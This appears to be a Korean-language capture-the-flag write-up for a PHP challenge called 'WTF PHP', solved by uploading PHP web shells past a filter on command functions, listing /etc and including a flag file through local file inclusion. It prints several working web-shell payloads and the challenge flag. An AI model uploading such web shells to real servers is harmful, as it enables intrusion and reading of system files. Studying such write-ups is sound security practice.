////
Search
🚩

WTF PHP [ 269 points ]

목차

문제 유형

Server : PHP
Vulnerability : File Upload, LFI

문제 정보 확인

/etc 경로에 플래그가 있다는 정보를 알려준다.
문제에 접속하면 파일 업로드를 할 수 있는 페이지를 확인할 수 있다. 파일 업로드 문제라고 생각하고 아래와 같이 간단한 웹 쉘을 업로드 해보았다.
<?php system("ls /etc"); ?>
PHP
우선 파일 확장자에 대해 필터링을 하지는 않는 것 같다. 이후 File 링크를 클릭해서 접속하였지만, 업로드한 웹 쉘이 동작하지 않고 빈 화면만 출력하는 모습을 확인할 수 있었다.
혹시 특정 함수에 대해 필터링 과정을 거치는지 확인하기 위해, 웹 쉘의 내용을 echo 함수만 사용한 php 코드로 변경하였다.
<?php echo("TEST_VALUE"); ?>
PHP
echo 함수를 사용한 php 코드는 정상적으로 동작하는 것을 확인하였다. 이를 통해 특정 함수를 필터링하는것으로 추정할 수 있다.

취약점 분석

1. /etc 속 파일 목록 확인

여러 삽질을 한 결과 Exec, System시스템 명령어를 직접 실행하는 함수는 필터링 되어 있는것 같았다. 그래서 /etc 에 존재하는 파일의 목록만 확인하는 웹 쉘을 먼저 작성해 보았다.
<?php $dir = "/etc"; $handle = opendir($dir); $files = array(); while (false !== ($filename = readdir($handle))) { if($filename == "." || $filename == ".."){ continue; } // If not dir, Add file name to array if(is_file($dir . "/" . $filename)){ $files[] = $filename; } } closedir($handle); foreach ($files as $f) { echo $f; echo "<br/>"; } ?>
PHP
아래와 같이 /etc 폴더에 존재하는 파일 리스트를 확인할 수 있었으며, f1@g.txt 이라는 수상한 파일을 확인할 수 있었다.

2. /etc 폴더에서 발견한 파일 내용 확인

시스템 명령어를 실행하는 함수를 필터링 하기 때문에 cat f1@g.txt 와 같은 방식은 사용하기 어려울거 같았다.
그래서 아래와 같이 PHP의 include 를 사용하여 LFI 취약점이 동작하는 웹 쉘을 만들었다.
<?php include "/etc/f1@g.txt"; ?>
PHP
업로드한 파일에 접속하면 f1@g.txt 파일에 작성된 Flag를 확인할 수 있다.
FLAG
darkCON{us1ng_3_y34r_01d_bug_t0_byp4ss_d1s4ble_funct10n}